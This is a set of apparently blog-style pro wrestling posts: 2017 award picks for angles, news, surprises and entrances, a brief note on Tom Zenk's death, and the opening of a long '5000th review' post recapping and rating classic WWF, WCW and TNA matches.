2017 Awards: Angle of the Year

I’m not even bothering to make the Kurt joke this year.

This is one of the biggest awards of the year because angles are what matters more than almost anything else. You can have a heck of a match but it doesn’t mean very much without a reason to care about these people. There were some great ones over the course of the year and you might have forgotten a few of them so here we are again.

We’ll start with the build to one of the biggest matches of the year. A three way feud is one of the hardest things to pull off in wrestling but NXT managed to do it (I’m as shocked as you are). This time around they set up Sanity vs. the Undisputed Era vs. Roderick Strong/Authors of Pain in FREAKING WARGAMES. That’s more than enough to make this a big deal and it was awesome as a bonus.

From the same show, we have a match that I completely underrated when it aired in the first place. In the build towards Takeover: WarGames, Velveteen Dream may have wanted to sleep with Aleister Black (it’s not clear) but the whole idea came down to Black not saying Dream’s name. The match wound up being awesome and we even got a payoff with Black saying his name after kicking Dream’s head off. Great build, great match, great payoff.

I know it was short term but Chris Jericho vs. Kenny Omega had a heck of a build to a match that wasn’t taking place in 2017. This felt like an old school blood feud between two guys who just don’t like each other. Jericho kept attacking Omega and now I want to see them fight. I mean, I’ve seen it by now but at least the build was awesome in a way you don’t get very much anymore.

If you’ve read my stuff over the last few years, you know I’m a big fan of Sami Zayn and Kevin Owens. That alone should tell you I was excited to see them getting a bigger push, which is exactly what we got when Sami saved Kevin from Shane McMahon’s latest Cell dive. This set them up as some awesome heels over on Smackdown and I’m interested to see where this goes from here, which is the best thing that can happen.

This is less of an angle and more of just the build to a match but John Cena vs. Roman Reigns became must see television for a good while there. It was in the same vein as Rock vs. Cena from years back with two guys trading bombs against each other, albeit with only one actually managing to make that much contact. Cena mauled Reigns on the mic and the win did help Reigns, but my goodness this was one sided up until the bell rang. Incredibly entertaining, but destruction otherwise.

That leaves us with one more option and it’s gone throughout the entire year. Johnny Gargano started the year as one half of the NXT Tag Team Champions but the Authors of Pain took care of that back in January. Then Gargano and Tommaso Ciampa lost the rematch at Takeover: Chicago, which resulted in the team splitting. It was all downhill for Gargano from there, even to the point of him losing matches just because he saw a DIY t-shirt. He kept fighting though and eventually won a #1 contenders competition to end the year. It was a year long story and it never once got boring, which made it the story of the year.




2017 Awards: News Story of the Year

There’s a lot more to wrestling than just wrestling.

I know most of the focus in wrestling goes on wrestling (kind of makes sense if you think about it) but there’s other stuff going on around the wrestling world. While some of these might not be the most thrilling stories in the world, a lot of them could have quite the impact on the wrestling world, either short or long term.

In no order, which shouldn’t be news to you.

We’ll start down in Mexico where Sexy Star apparently went into full on shoot mode on Rosemary in a match. While Star went into a variety of explanations for what happened, I’m not sure how many people actually bought what she said. Star is a big name in Lucha Underground but at the same time she’s not exactly big outside of there. However, anytime something like this happens, it’s a big deal almost by definition.

Sticking with the women, WWE ran the Mae Young Classic. The Women’s Revolution has been in full swing for well over a year now but the idea of running an all women’s special was rather unique stuff. It might not have been the most eventful tournament in the world but that doesn’t mean that it wasn’t a big deal. At the end of the day, this was being held by WWE. Not Stardom, not Shimmer, not Ring of Honor, but the biggest wrestling company in the world. Imagine that three years or so ago and you’ll see why it’s a big deal.

In something that may not be guaranteed but seems to be as close as you can get to it, Vince McMahon might be bringing back the XFL. While this has very little to do with actual wrestling, it does have to do with the WWE. Vince is going to be distracted by another outside project and that could mean a lot of different things for the promotion. Odds are they won’t be good ones either, but this is the chance to see what happens when so many fans scream about how much they want Vince gone. Be careful what you wish for people.

Then we’ll go up north, along with TNA. Yeah, at least for a little while, TNA seemed to become a Canadian promotion (and not a very good one at that). It begs the question of how much lower can they get, because at the moment they’re the Prairie Wrestling Alliance with a TV deal. It’s lead to stuff like Petey Williams as a featured player and I’m not sure how well that’s going to go over with the masses (or at least the people who actually watch TNA). They already seem to be heading back to Orlando, but it’s hard to say what’s after that for these people.

Speaking of going foreign, we have the proposed expansion of WWE into the United Kingdom. This one has kind of happened and kind of not happened, as we have a United Kingdom Champion but we don’t have the weekly United Kingdom TV show that was mentioned multiple times. Maybe it’s WWE’s anti-cost crusade (just give us pyro at Wrestlemania at least) but for now, this is just the start of something. It’s worked while it’s lasted, but for now it doesn’t mean much.

Finally, and probably by default, we have the winner (or at least the one that had the biggest impact at the time): the illnesses that plagued the locker room around Tables, Ladders and Chairs. This sent the entire card into upheaval and gave us some pretty big matches in the process while also keeping a ton of talent off the shows for weeks. It’s not the biggest long term deal in the world, but for a week or so this was the update to watch.

So yeah, nothing exactly bombshell level yet, but that XFL thing could get big in a hurry.




2017 Awards: Surprise of the Year

I bet you didn’t see this one coming.

As you might have guessed, I’ve watched quite a bit of wrestling in my day. Over the years, you eventually get a pretty good idea of what to expect from a lot of wrestling shows. I mean, there’s only so much that can be done to surprise you when you’ve been around for a long time, which is what makes this such a hard category to pull off. There were actually a lot of options though and that’s always a lot of fun.

In no order, as usual.

We’ll start with one of the options that is going to get the most attention and for good reason: Tommaso Ciampa turns on Johnny Gargano. This one worked far better than I would have expected and I’d be shocked if their match doesn’t headline at least one Takeover in the coming year. My only issue is they kind of telegraphed it by having the match go on last and leaving the camera on the team for so long. It felt like they were teasing the going away segment but it went the other way. In other words it felt like they were going somewhere, which takes away a bit of the impact.

Given that this is being written as Wrestle Kingdom is taking place, it seems appropriate to put in Chris Jericho appearing in New Japan to challenge Kenny Omega. I know it might not be the best in-ring match but my goodness people: it’s CHRIS JERICHO in New Japan. There were rumors of a surprise at the show but I thought it was going to be a full show in America over Wrestlemania weekend or something. This was a heck of a deal and my eyebrows went up when I saw the announcement.

Everybody needs a Clarence P. Oddbody ASC (Look it up you heathens.) and Kevin Owens got one in the form of Sami Zayn. While Shane McMahon was on top of the Cell (again) for an elbow drop that missed (again), Zayn came out and saved his longtime rival and sometimes best friend in a heck of a heel turn. It might not have been the biggest surprise, but I’m not sure how many people actually thought they would go this way. It was quite the success though and that’s what matters most.

In another moment where I was actually in the house, we have the Hardys return. Now, I really don’t know how much doubt there was that the Hardys would wind up back in the company someday and that’s normal. Almost everyone winds up back in WWE at some point and the Hardys were on fire. The thing is, even with all that, as soon as New Day came out and said there was another team, I stood up and said out loud “They wouldn’t. There’s no way.” Then I couldn’t hear myself anymore because the fans were going so cookaloo. This was a great moment and I could easily see this getting the vote.

Back in May, Jinder Mahal won the WWE World Title. It was shocking, it was something people never saw coming, and it was Jinder Mahal winning the WWE World Title. This deserves no awards so we’ll move on to the winner.

Like I said, it takes a lot to surprise me. There’s very little that hasn’t been done in wrestling but in this case, WWE actually pulled it off. Back in February, Chris Jericho promised to show his best friend Kevin Owens what he really meant to him. Jericho set up the most over the top display of friendship in wrestling history, though it didn’t quite go as well as he had hoped. At the end, Owens, looking a bit annoyed, said he had a present for Jericho. Chris opened the box and found a new list! With his name on it! Jericho dropped the box and the back of the list said “The List Of KO”. A huge beatdown ensued and the team was done.

They got me with this one and that’s quite the feat. Jericho sold the heck out of the thing and it was the absolute perfect way to split the team up. The List of Jericho had been one of the coolest ideas I had seen in a long time and tying the split all back into that concept was the perfect way to do this whole thing. It’s hard to get this right but I bought into it all the way so well done indeed.




2017 Awards: Entrance of the Year

Kind of a perfect way to get started no?

It’s that time of year again and this time around, I’m going to make sure to get these up in a much, much more realistic amount of time. Hopefully it’s going to be one a day for twenty one days but I’ll throw in a bonus this time around (which might be more often if I can remember to do them. There are a few new categories this year and we’re starting with one of those today.

Entrances really are one of the more important things in wrestling. Whether it’s Hulk Hogan firing the crowd up or Undertaker just being creepy and chilling, you need someone to come out looking awesome to really sell what’s going on. That’s what we’re looking at today, though in this case it’s going to be looking at individual entrances instead of general ones.

These are in no order.

First up is one I was there for in person for: Aleister Black rising from the shadows at Takeover: Orlando. Keep in mind that this was his debut and tell me how it could have been any cooler. The guy literally rises from the blackness and is instantly ready to go. You knew it was something cool and you knew it was something that was in the vein of the Undertaker, which is as awesome as it gets.

Next up is something a little more glorious with Bobby Roode at Takeover: San Antonio. This was straight out of the Ric Rude playbook as Roode made his full entrance but came out with eight good looking women because he’s just that big of a star. Roode was great at making himself look bigger than anyone else on the roster and that’s what this entrance did. You really could pick any of Roode’s entrances from the year and the song alone is more than enough to carry him as high as he needed to go.

Speaking of that song, we’ll move on to the person it was originally intended for. It was no secret that Shinsuke Nakamura was getting the call up to the main roster after Wrestlemania, but the question was where would he go from there. That question was answered on the April 4 Smackdown when he made his main roster debut by interrupting Miz and Maryse as John Cena and Nikki Bella. I mean, counting Maryse as Nikki (just….dang that look worked for her) and then cutting to the violinist to play Nakamura’s theme and this was completely awesome.

I’m going to break my own rule a bit here and pick a more general entrance (kind of). Sami Zayn turned heel earlier this year and that opened up a bunch of questions. Was he going to be able to pull off a heel character? Would the fans cheer him anyway? Where can I get one of those snappy hats? It turns out that he can rock the heel run and that was never more evident than his dancing around Kevin Owens during the entrances, looking like the biggest jerk of a heel in years. I’m digging the heel character and the dancing entrance is probably the top reason.

That leaves us with the winner, which is one I never would have guessed. I’m going with Naomi at Wrestlemania XXXIII just for the pure spectacle of it all. I’m not a big Naomi fan (and her winning the title still isn’t a big deal, just like her winning the title back in her hometown) but that entrance is something else. Putting it in a massive stadium in front of 75,000 people was one of the coolest experiences I’ve ever had at a wrestling show and it more than does the trick. I wasn’t expecting to pick this but the more I thought about it, the more blown away I really was.




Tom Zenk (Z-Man) Passes Away at 59

https://411mania.com/wrestling/wcw-wwe-alumnus-tom-zenk-passes-away-fifty-nine/

I was always a fan of the guy.  He wasn’t a huge star or ever anything close but he had a good look and was perfect as a pretty boy.  You would probably remember him best as part of the Can-Am Connection, who opened Wrestlemania III.  Zenk left the company in a contract dispute and was replaced by Tito Santana with the team being named Strike Force (one of my favorites).  He went on to WCW and won the TV Title before retiring in 1995 or so.

I know he wasn’t a big name but this one actually shocked me.




The 5000th Review: I Mistimed This A Bit So IT’S OVER 5000

First off, thank you all for sticking with me through all this. I’ve been doing this for just under nine years now as something that was just a fun project has turned into my actual job and I never would have believed that was possible. It legitimately is the best job I could have ever imagined having and I can’t thank you all enough for it. You’ve actually changed my life and I couldn’t ask for anything better. Thank you all for reading my stuff and valuing my opinion. I’m a huge wrestling fan and love talking about it more than anything else so to have people care about what I have to say is quite the thrill. Thank you all so much.

Also note that this is LONG, taking me well over a month to put together.

I don’t usually do this but it’s a special moment so I might as well do it this way. Back in 2009, Wrestlemania XXV was coming up so I decided to do something special for the big show. Therefore, I started watching each show and seeing what I thought of them in the form of written reviews. They were a big success on the WrestleZone Forums so I did the same thing with In Your House and the rest of the Big Four.

Since I have a rather addictive personality, I figured I’d do every major pay per view ever. Someone told me I couldn’t do it and that’s just not a good idea with me so I went insane, spending the next three and a half years reviewing every major pay per view ever, culminating with Backlash 2006, the first live pay per view I had ever attended. Along the way I started reviewing the weekly TV shows as well, which can add up in a hurry.

Now we’re (close to at least as I’ve probably lost track somewhere in between) at review #5000 and that’s call for something special. Therefore, in something I always say I never do, I figured I’d look at some of my favorite matches. I’ve done fresh reviews of thirty one (no particular reason for that number) of my favorite matches ever, plus a special bonus.

I’m not saying these are the best matches ever or anything like that, but rather some of my favorites or matches I’ve been wanting to watch again lately. I hope you enjoy them and thanks for being around for the first 4999 reviews. I’ll be around with them as long as you guys are. Now go buy my books and read them on Amazon Prime!

These are in no particular order (I made a list and used a random number generator), save for the last two which are my favorite matches ever. I’ll throw in a quick recap for all of them in case you’re not up on your history (Which you really should be. Enough of this “I have a life” nonsense. Wrestling is what really matters.). Let’s get to it.

Before we get started, a quick honorable mention:

Strikeforce vs. Sacrificial Altar – Kingdom Come V

If you don’t know what that is, just move along. To those who do know what this is, that thing still rocks.

Anyway moving on.

From In Your House VII: Good Friends, Better Enemies.

So Shawn won the WWF World Title at Wrestlemania XII (still overrated but good, with the first superkick being the first time a wrestling move made me jump off my couch) and needed a monster to slay. His old best friend Diesel just happened to be leaving the company and had freshly turned heel, so I think you know where this is going.

WWF World Title: Shawn Michaels vs. Diesel
Date: April 28, 1996
Location: Omaha Civic Auditorium, Omaha, Nebraska
Attendance: 9,563
Commentators: Vince McMahon, Jerry Lawler

Shawn is defending and this is no holds barred. Diesel throws his vest onto Vince in a funny bit. It’s serious Shawn here as he charges straight at Diesel and hammers away, only to eat a shot to the ribs. Another shot sends Diesel outside and Shawn is able to take off the chaps. Shawn scores with a moonsault to the floor (in case you thought it was Diesel), nearly breaking his leg in the process.

To mix things up a bit, Shawn steals Hugo Savinovich’s boot (maybe it’ll make him less annoying) and smacks Diesel in the head, only to get ax handled off the apron and into the barricade. The pace slows as he fans are just loathing Diesel here. Diesel seethes right back at them with Lawler pointing Vince out to him in a funny bit.

Snake Eyes and the spinning side slam (two of the moves Diesel can do quite well) allow him to walk around even more….and then choke out the referee with his tape. Diesel rips the referee’s belt off to give Shawn a whipping. Lawler: “RUIN HIS LIFE! RUIN HIS LIFE!” The big man seems to follow the advice by hanging Shawn over the ropes. A weak chair shot has Shawn in more trouble but another one hits the ropes and bounces back into Diesel’s face.

Shawn loads it up for a change but gets cut down by a low blow. Diesel scores with a backdrop to mess up Shawn’s back even more and get two as a bonus. We hit a neck crank for a bit until Shawn starts popping up, even with Diesel punching him down every time. In the big spot of the match, Diesel takes him outside and Jackknifes him through the announcers’ table (still an old wooden one at this point).

Shawn still won’t stay down (Vince: “LET IT BE OVER!”) as Diesel puts the title around his own waist and we’re still at it. A blast from a fire extinguisher blinds Diesel and brings the fans right back into this thing. There’s the forearm into the nip up and Shawn gets in two good chair shots (after nearly destroying a bunch of equipment tied around the chair). The big boot cuts Shawn off and gives us a great sell job as a bonus. Shawn punches out of the Jackknife and scores with a top rope elbow.

Sweet Chin Music is cut off with a hard clothesline and a second one puts Shawn on the floor. With nothing else working, Diesel grabs Mad Dog Vachon and RIPS OFF HIS PROSTHETIC LEG! Let me repeat that: he RIPPED OFF A MAN’S LEG. Shawn cuts him off with a low blow though and hits Diesel with the leg instead. Sweet Chin Music retains the title at 17:53.

Rating: A. I’ve watched a lot of wrestling and it takes a lot to really draw me into a match that I’ve seen a bunch of times but they completely had me here. I was getting WAY into this on Shawn’s comebacks and even I wanted to see him kick Diesel’s head off at the end. Shawn needed this kind of win to prove that he could hang with anyone in the ring and that’s what he did here. I had a great time with this and that’s a lot more than I was expecting with a match I’ve seen at least a dozen times. That’s the sign that it’s a great one and this certainly fits the bill.

That’s a classic you might not remember so let’s go on to one you probably do remember.

From Wrestlemania XIII.

I’m pretty sure you know this one but it’s the story that kick started the Attitude Era and set the company on fire for years to come. Bret Hart returned from his post Wrestlemania XII hiatus to face Steve Austin but found that everything had changed. He blamed all of his problems on Austin and knew he had to beat him once and for all. This was Bret putting EVERYTHING on the line, knowing that he was done if he couldn’t make Austin submit. Austin of course was all like make me say it then and one of the most important matches in WWF history was made.

Bret Hart vs. Steve Austin
Date: March 23, 1997
Location: Rosemont Horizon, Rosemont, Illinois
Attendance: 18,197
Commentators: Jim Ross, Jerry Lawler, Vince McMahon

Submission match with newcomer Ken Shamrock as guest referee. Bret had basically turned heel six days earlier but the fans haven’t quite caught on yet. Austin famously comes out with the glass actually shattering and both guys having to step over it. You can see the fire in Austin’s eyes here and this just feels huge. Austin wastes no time in taking Bret down and slugging away but Bret is right there with him.

They head outside in a hurry with Bret sending him into the post but getting crotched on the barricade for his efforts. A clothesline knocks Bret right into Tony Atlas and it’s time to head into the crowd where Austin grabs a drink of Coke. Bret sends him into what looks like hockey boards and they fight deeper into the crowd. Back to ringside (and past the big RF Video sign) with Bret being sent HARD into the steps. A hard pull sends Bret into the post and they actually switch things up by heading into the ring.

Bret gets in a swinging neckbreaker and it’s time to start in on Austin’s leg. This is also where the commentary gets better as you have Vince and Lawler doing their storyline stuff and JR getting in there to do the play by play and explain the psychology while adding in the emotion. It’s a really good balance and something I’d like to see a lot more often.

Austin grabs a quick Stunner for a breather but gets taken right back down for the Hartbreaker (Figure Four around the post, where the post still doesn’t add much to it). He still won’t quit so Bret grabs the bell and then a chair, meaning it’s time for some Pillmanization. THAT brings the fans back to Bret’s side but Austin gets back up and cracks him with the chair, turning the fans back to Austin.

Another chair shot to the back sets up a hard whip into the corner as you can see Stone Cold starting to come out in spades. With JR taking every shot he can think of at WCW, Austin kicks Bret low and we cut to Bret’s daughter covering her face. Lawler: “I think she was just instructed to cover her face!” The daughter is all of eight, making that line all the better.

Austin grabs something like a reverse Koji Clutch (as taught to him by Al Snow) before we go to a Boston crab for an odd pop. Bret grabs a rope so Austin tries some completely messed up version of the Sharpshooter. Thankfully it’s broken up with a rake to the eyes but it gives us one of the most ominous exchanges in the history of WWF commentary: Lawler: “Wouldn’t that be something? If Bret Hart had to submit to the Sharpshooter?” Vince: “Hey…..it could happen!”

They head outside with Austin going into the barricade to draw a heck of a cut to the head with blood going EVERYWHERE. Back in and Bret just unloads on the cut before grabbing the chair again. Some hard shots to the knee have JR losing his mind (in the best way possible) but Austin rakes the eye to break up the Sharpshooter. Bret slugs away so Austin just kicks him low to take him down again.

Austin sends him chest first into the buckle and stomps away in the corner, complete with two middle fingers. This is the Austin that would change wrestling forever and you can see every bit of it in him right here. A superplex drops Bret again but Austin can’t follow up. Sweet goodness he is COVERED in blood and it’s quite the visual (not THE visual, but the visual). Austin chokes away with an electrical cord but Bret grabs the bell to knock Austin silly.

That’s some VERY long form storytelling as Roddy Piper wouldn’t use the bell on Bret in 1992 but Bret will use it here. The Sharpshooter goes on and in the most famous wrestling image of the 90s (and maybe second only to Hogan and Andre), Austin screams into the camera with blood flowing down his face. In Austin’s words, that shot sold a lot of t-shirts. Austin breaks most of the hold but can’t quite do it, allowing Bret to get it on again. The blood loss is too much this time and Austin passes out to give Bret the win at 22:05.

Rating: A+. My goodness what a performance. This is one of the best matches of all time and one of the greatest performances by two people you’ll ever see. Bret won the match where he was the heavy favorite but Austin gave one of the gutsiest fights you’ll ever see. The key to the whole thing though: Bret sees Austin as the problem with the company and beat the heck out of him. However, he could only slow him down and didn’t stop him.

Austin never quit but Bret gave into his inner demons and went to a place he didn’t want to go. Austin would win in the long term but Bret won this and their other masterpiece back in November. I pick up on different things every time I watch this match and it never gets old. Outstanding stuff here and one of the best (and most important) matches ever.

Post match Bret isn’t done and stays on Austin’s leg until Shamrock pulls him off. Bret walks away from a fight, leaving Austin to Stun a regular referee and limp up the aisle to a standing ovation. The shot of blood all over the mat gets me every time.

Let’s jump to another promotion for a minute in the only TNA match on the list and my favorite ever from the company.

From Lockdown 2005.

There isn’t much to this one. Jeff Jarrett is World Champion and needs an opponent. That means we need a #1 contender so let’s make it a heck of a fight inside a cage. AJ Styles is the best wrestler in the company and Abyss is the ultimate monster. I think that sums everything up.

AJ Styles vs. Abyss
Date: April 24, 2005
Location: Impact Zone, Orlando, Florida
Attendance: 775
Commentators: Mike Tenay, Don West

AJ wastes no time by hitting a running flip dive through the door to drop Abyss before he gets into the cage. An Irish whip sends Styles underneath the barricade (Seriously, who does that?) but he pops back up with a hurricanrana as the match hasn’t started yet. Abyss slowly hammers him down but AJ dives over the barricade and onto a small platform for the Phenomenal Forearm over a bunch of fans. That’s the superhero shot that you can’t top and makes you believe that the guy can do anything.

Abyss sends him crashing over the barricade again though and it’s time for a beating. A chokeshove sends Styles into the fence behind the fans as we’re still waiting on an opening bell. Back to ringside and Abyss slams the door onto AJ’s face twice in a row with the second shot dropping AJ hard. Styles is busted open so Abyss hammers away at the cut. It’s time for the bag of tacks though and WE ACTUALLY START THE MATCH. I mean, there’s no bell but they’re both in the cage so I’ll take what I can get.

Abyss wedges a chair into the corner before wrapping a chain around AJ’s throat. A chain is wrapped around another buckle and Abyss sends him flying face first into a regular buckle. We hit a neck crank for a bit until AJ is sent into the cage again. It’s back to the chain but AJ reverses a chokeslam into a DDT onto said chain. A headscissors staggers Abyss and he charges head first into the char in the corner (thereby satisfying wrestling rule #14). AJ gets two off a rather impressive German suplex but walks into the Black Hole Slam for a close two.

It’s time for the tacks but AJ avoids a chokeslam and somehow hits a STYLES CLASH TO SEND HIM FACE FIRST INTO THE TACKS! OK SO HE’S WEARING A MASK SO IT’S NOT AS BAD BUT IT STILL LOOKED AWESOME! AJ heads up top but Abyss throws the referee at the cage to slow him down. Well whatever works I guess. Abyss throws the chain around AJ’s neck to choke him over the cage wall, only to have AJ bite the fingers for an escape. A sunset bomb off the cage and onto the tacks FINALLY ends Abyss at 11:00 (or so).

Rating: A-. Now that’s how you have a fight between a monster and a superhero like Styles. These guys beat the heck out of each other with Styles surviving and slowly chopping Abyss down, which is exactly the kind of formula that you need to use to make this work. Really good stuff here, and also Abyss’ favorite TNA match ever.

And now, for a match I almost left off of this for some reason.

From Summerslam 1998.

HHH leads DX, the Rock leads the Nation of Domination, they’ve been feuding for months, let’s have a ladder match for Rock’s Intercontinental Title.

Intercontinental Title: The Rock vs. HHH
Date: August 30, 1998
Location: Madison Square Garden, New York City, New York
Attendance: 21,588
Commentators: Jim Ross, Jerry Lawler

The DX Band plays HHH to the ring because of course DX has its own band. HHH has a really, really bad knee coming in. Mark Henry and Chyna are the respective seconds. They stare each other down and Rock says some rather un-PG things (reading lips can make you cringe at times) but a facebuster slows him down early on. Neither can hit their finisher though and it’s HHH being backdropped to the floor.

It’s too early for the ladder though as HHH makes a save and scores with the jumping knee to the face. They head outside again with HHH being sent into the ladder twice in a row. The first slow climb doesn’t work though as HHH dives in for the save, only to have the ladder fall onto him. Rock is up first and stays on the knee by wrapping the ladder around it and smashing said ladder with a chair.

The knee gets dropped onto a bridged ladder but somehow a mostly fresh Rock still takes forever to climb. The ladder is looking rather shaky so HHH tries a new strategy by tossing it outside. He can barely walk at the moment anyway so it’s not the worst idea in the world. Unfortunately Rock can walk and catapults HHH into the ladder for good measure. They fight up the aisle again with HHH clotheslining him down.

A Pedigree on the ladder is broken up because it would have resulted in a bad case of a broken head. Henry throws in a fresh ladder but Chyna takes him out, allowing HHH to dive in for another save. A baseball slide sends the top of a ladder into Rock’s face for a painful looking crash.

Back up and HHH makes a climb so Rock takes the ladder out as well, sending HHH crashing down onto his knee. They slowly head up again for the slugout on top of the ladder but HHH gets knocked off, only to slam into the ladder in another save, earning a double standing ovation. Here here indeed. Rock picks up a ladder but HHH picks up a chair and just unloads on him to get a breather.

The knee is still too bad though and it’s a slam onto the ladder, setting up the People’s Elbow and a Rock Bottom. HHH pulls him down off the ladder and scores with a Pedigree but Henry throws powder in his eyes. The blind HHH goes up with Rock right after him, only to have Chyna hit Rock low, allowing HHH to win the title at 26:05.

Rating: A. This one really doesn’t get old. HHH fighting through the bad knee and then beating Rock in the end was all that he needed to do here. As you probably know, this is the match that made both guys and Rock would be World Champion in just a few months. Unfortunately HHH would have to undergo knee surgery shortly after this and vacated the title. I’d think he did well enough though as he won the World Title a year later. Outstanding match here with both guys leaving everything in the ring to steal the show.

The recurring theme here seems to be overcoming the odds. That’s a very simple, effective storyline that a lot of fans can understand. Here it is in tag team form.

From Summerslam 1990.

This is a special match from a special show for me. It’s the first wrestling tape I ever had and I watched it so often that we had to get three copies. I had to include something from this show and I’ll take easily the best match on the card. To be fair though, I could have done this whole show as the 5000th review and been completely fine. This show means a lot to me and probably had a lot to do with my love of wrestling being so strong.

Oh yeah the match. So Demolition won their third Tag Team Titles at Wrestlemania VI and needed some challengers. The Hart Foundation wanted the belts back and challenged Demolition as a result, only to have a third member named Crush join the champs. The idea here is the Harts don’t know which two members they’ll be facing in the 2/3 falls title match.

Tag Team Titles: Hart Foundation vs. Demolition
Date: August 27, 1990
Location: Philadelphia Spectrum, Philadelphia, Pennsylvania
Attendance: 19,304
Commentators: Vince McMahon, Roddy Piper

The Harts are challenging and facing the surprise combination of Smash and Crush. Basically Ax was having health issues at this point so he was being phased out in favor of Crush as the new Demolition. You could tell the steam was rapidly running out though. Smash and Bret get things going as Vince and Piper actually debate the logic of choosing Crush. That’s called analysis and sounding like normal people, which you don’t see anymore.

Everything breaks down in the first few seconds and a double elbow drops Smash. Bret slaps on an armbar as Piper asks Vince what he’d say if Neidhart wanted to date his daughter. Well I’d guess he’s a downgrade over HHH. It’s off to Crush, who gets punched in the face until he casually slams Bret down to take over. Neidhart comes in for the power of….a headlock. Yeah HHH would be better. Crush kicks him from the apron though and the champs take over again.

That goes nowhere though as Bret is back in a few seconds later to clothesline Smash. He has to dive onto Crush though as Neidhart is nowhere to be seen for some reason. Demolition is thrown into each other, leaving Bret to grab a Russian legsweep for two on Smash. The fans are WAY into this, as you would expect from a Philadelphia crowd. Crush legdrops Bret and it’s the Demolition Decapitator for the first fall at 6:20.

Bret is in a lot of trouble as the second fall begins and something like a chokeslam puts him down again. We hit the neck crank for a bit before the champs keep up their fast tags. Bret gets in a Hart Attack clothesline on Smash and crawls over for the rather hot tag to Neidhart. An ax handle to the chest and a powerslam get two each on Smash. The Hart Attack connects but Crush grabs the referee at two, drawing a DQ to tie things up at 10:38. I still have no idea why they didn’t just let Smash get pinned there.

Bret is down after the second fall and the distracted referee misses Ax running down and hiding underneath the ring. Things keep going with Neidhart shouldering Smash down and powerslamming Bret onto him in a cool move. The referee isn’t cool with that though and Ax switches places. Vince: “THAT’S AX!” Piper: “He is kind of energetic.”

I remember watching this when I was about three years old and I still have no idea how I’m supposed to believe that someone couldn’t tell the difference between Ax (who is rounder, with shorter hair and a big bald spot in the back) and Smash (who has different face paint). It’s a fine idea but this isn’t quite the Bella Twins.

Crush comes in and gets two off a backbreaker and Smash comes back out from underneath the ring with Crush taking his place. Cue the Legion of Doom to pull Crush out and trip Ax. NOW the fans are back into this, just as Neidhart hits a slingshot shoulder to knock Crush into a school boy for the pin and the titles at 15:49. This was pretty much it for Demolition, save for jobbing to the Legion of Doom (who they never faced in the big match) and Ultimate Warrior in some six man tags.

Rating: B. This obviously wasn’t so much about being a great match (though it’s very entertaining) but rather all about the emotion. The fans saw what Demolition was doing and wanted the Harts to win in the end. That’s a good story being told and it’s a simple enough bit of chicanery that it works just fine. A lot of people find this to be a feel good moment and I’m very close to the top of that list, as I have been for years now.

Now so far the theme has been overcoming the odds. Let’s try a new theme here: really big suplexes.

From Clash of the Champions XVIII.

I’m a big fan of a good suplex. There’s something cool about watching someone being thrown all over the place, especially by someone who knows how to do it. For me, no one ever did it better than the Steiner Brothers so let’s watch them suplex a couple of monsters. No real story here, but there doesn’t need to be.

Steiner Brothers vs. Mr. Hughes/Big Van Vader
Date: January 18, 1992
Location: Expocenter, Topeka, Kansas
Attendance: 5,500
Commentators: Tony Schiavone, Jim Ross

Hughes (a big bodyguard in a suit and sunglasses) and Vader have Harley Race in their corner. Scott and Hughes start things off and a fireman’s carry puts Hughes down without too much effort. A clothesline drops Scott, who pops back up for an overhead belly to belly suplex. Everything breaks down and the Steiners are sent outside, only to have them come back in with a double top rope clothesline (from the same corner).

We settle down to Vader suplexing Rick a few times and crushing him with a corner splash. As expected, Rick shrugs it off and hits another belly to belly. Vader bails but catches Rick diving off the apron with ease. There’s something so cool about watching these good sized guys just throw each other around.

Back in and Vader heads up, only to get taken down by a belly to belly superplex. Scott hits a heck of a German suplex but dives into a powerslam. It’s back to Hughes for a clothesline but he misses a splash and gets hiptossed. Eh close enough to a suplex. Everything breaks down and Vader hits Hughes by mistake. Scott and Vader fall to the floor and it’s the Steiner Bulldog to end Hughes at 9:02.

Rating: B. Not bad for a free TV match. The Steiners literally throwing around monsters like this is always impressive and Vader did the same with raw power. There’s just something so basically entertaining about a match like this, even if it doesn’t mean anything. I’m not sure what else to say here. There’s no big story to the match or anything and there doesn’t need to be. Sometimes that’s enough and it was in this case.

One of my favorite matches of any year is the other match at Wrestlemania. You know what I mean. There’s the main event/featured match of the show and then the other match that is an awesome performance but also goes a bit overlooked.

From Wrestlemania XVII.

Pretty simple idea here: HHH said he’s beaten everyone there is to beat so Undertaker comes out and says HHH has never beaten him. HHH then destroyed Undertaker’s motorcycle and beat him up so Kane threatened to murder Stephanie to get the match made. This would pretty easily fall under the category of “there’s no way they can screw this up” and at this show, they actually wouldn’t.

Undertaker vs. HHH
Date: April 1, 2001
Location: AstroDome, Houston, Texas
Attendance: 67,925
Commentators: Paul Heyman, Jim Ross

Motorhead plays HHH to the ring for the first time ever. I love the visual of the wide shot where HHH comes out and poses at the entrance as it just makes the whole thing look so huge. The incredibly long ramp makes things even better. Undertaker gets to show it off even more by really cranking up the motorcycle and getting more speed than he ever has before.

They slug it out on the floor to start and you can feel the energy in this one. The Spanish announcers’ table is quickly broken for the second time tonight but HHH pops back up as it’s way too early for something like that. In something that sounds almost bizarre now, JR says Undertaker is 8-0 at Wrestlemania. It’s so insane to think that it’s not even to the halfway point yet. They get inside for the jumping knee to Undertaker’s face but that’s shrugged off as well with HHH eating a powerslam.

Undertaker loads up Old School (I know this because he shouts OLD SCHOOL) but HHH pretty easily breaks it up (I wonder how he knew). A swinging neckbreaker gives HHH two and a facebuster cuts off Undertaker’s comeback. It’s already sledgehammer time but the referee takes it away (spoilsport). The Pedigree is broken up with a catapult into the referee, meaning the count off a chokeslam is delayed. Undertaker beats up the referee as a result, allowing them to fight into the crowd. Eh I’ve heard worse excuses to turn it into the brawl that it should have been.

They fight to the technical area and climb the structure the cameras sit on. Undertaker keeps throwing him higher and higher up but HHH finds a chair for at least ten shots in a row. He takes too long going for one more though and gets chokeslammed off the structure in a great visual. Of course that visual is ruined a few seconds later when you see him on the ground and Undertaker drops a huge elbow, revealing it to be a crash pad.

Undertaker beats up the medics too and takes HHH back to ringside (walking past perhaps the world’s only Billy Jack Hayes sign). It’s sledgehammer time but Undertaker again takes too long and gets kicked low. They slug it out until HHH tries a Tombstone for some reason. Since he’s not Kane, Undertaker reverses into one of his own but there’s no referee. Yeah remember the referee? He’s STILL down ten minutes later from a few kicks and an elbow drop. They really need to hire tougher refs.

The Last Ride is loaded up but HHH grabs the sledgehammer to knock Undertaker silly for one of the best near falls in the history of the Streak. Undertaker is busted open so HHH hammers away in the corner, only to get caught in the Last Ride (the debut of that counter I believe) for the pin at 18:19.

